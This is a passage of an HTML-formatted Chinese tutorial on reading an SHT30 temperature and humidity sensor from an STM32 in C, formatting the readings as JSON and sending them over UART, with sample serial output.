punctuation\"\u003e)\u003c/span\u003erecv_temperature\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e65535\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 转换湿度数据 */\u003c/span\u003e recv_humidity \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e|\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehumidity \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e100\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003erecv_humidity \u003cspan class=\"token operator\"\u003e/\u003c/span\u003e \u003cspan class=\"token number\"\u003e65535\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"在main-c中使用SHT30\"\u003e\u003ca href=\"#在main-c中使用SHT30\" class=\"headerlink\" title=\"在main.c中使用SHT30\"\u003e\u003c/a\u003e在\u003ccode\u003emain.c\u003c/code\u003e中使用SHT30\u003c/h3\u003e\u003cp\u003e在\u003ccode\u003eint main()\u003c/code\u003e外定义格式化函数:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003ereport_tempRH_json\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003etemperature\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehumidity\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e在\u003ccode\u003eint main()\u003c/code\u003e的\u003ccode\u003ewhile (1)\u003c/code\u003e前定义相关变量与SHT30初始化:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e temperature \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0.0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e humidity \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0.0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003esht30_soft_reset\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eSHT30_Init\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e HAL_OK\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"sht30 init is ok!\\r\\n\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"sht30 init is not ok!\\r\\n\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e在\u003ccode\u003ewhile(1)\u003c/code\u003e内调用格式化函数,每次调用后进行适当延时。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token function\"\u003ereport_tempRH_json\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003etemperature\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehumidity\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"格式化函数\"\u003e\u003ca href=\"#格式化函数\" class=\"headerlink\" title=\"格式化函数\"\u003e\u003c/a\u003e格式化函数\u003c/h4\u003e\u003cp\u003e将格式化函数写在 \u003ccode\u003e/* USER CODE BEGIN 4 */\u003c/code\u003e 与 \u003ccode\u003e/* USER CODE END 4 */\u003c/code\u003e 之中。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e字符串格式化输出 \u003ccode\u003esprintf()\u003c/code\u003e:\u003c/p\u003e\u003cp\u003e\u003ccode\u003eint sprintf(char * s, const char * format, ...);\u003c/code\u003e定义在\u003ccode\u003estdio.h\u003c/code\u003e中,适用于 \u003ccode\u003e string\u003c/code\u003e 版本的格式化输出,其目标不是控制台,而是一个字符串。\u003c/p\u003e\u003cp\u003e用\u003ccode\u003esprintf()\u003c/code\u003e 格式化一个字符串,例如:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e buf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e256\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003esprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"Name:%s,Age:%d,Weight:%.2f\\n\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"LiMing\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e1.68\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e运行后目标\u003ccode\u003ebuf\u003c/code\u003e格式化为:\u003ccode\u003eName:LiMing,Age:30,Weight:1.68\u003c/code\u003e\u003c/p\u003e\u003cp\u003e\u003ccode\u003esprintf()\u003c/code\u003e对于字符串的处理非常有用。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e将SHT30温湿度数据格式化并通过串口输出:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003ereport_tempRH_json\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003etemperature\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehumidity\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eSHT30_Read_Dat\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e HAL_OK\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eSHT30_Dat_To_Float\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003etemperature\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003ehumidity\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e HAL_OK\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e buf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e128\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003ememset\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003esizeof\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003esnprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003esizeof\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"\u0026#123;\\\"Temperature\\\":\\\"%.2f\\\", \\\"Humidity\\\":\\\"%.2f\\\"\u0026#125;\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003etemperature\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehumidity\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token function\"\u003estrlen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"sht30 check failed!\\r\\n\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"sht30 read date failed!\\r\\n\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch2 id=\"结果对比\"\u003e\u003ca href=\"#结果对比\" class=\"headerlink\" title=\"结果对比\"\u003e\u003c/a\u003e结果对比\u003c/h2\u003e\u003cp\u003e随便复制几段单片机串口发过来的:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e24\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e53.824\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token property\"\u003e\"Temperature\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"21.36\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"Humidity\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"53.92\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e24\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e55.818\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token property\"\u003e\"Temperature\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"21.34\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"Humidity\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"53.85\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e24\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e57.818\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token property\"\u003e\"Temperature\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"21.41\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"Humidity\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"53.88\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e24\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e59.815\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token property\"\u003e\"Temperature\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"21.33\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"Humidity\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"53.98\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e01.809\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token property\"\u003e\"Temperature\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"21.40\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"Humidity\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"53.89\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e03.808\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token property\"\u003e\"Temperature\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"21.38\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"Humidity\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"53.96\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e05.804\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token property\"\u003e\"Temperature\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"21.38\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"Humidity\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"53.94\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e07.799\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token property\"\u003e\"Temperature\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"21.38\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"Humidity\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"54.02\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e09.796\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token property\"\u003e\"Temperature\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"21.36\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"Humidity\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"53.84\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token 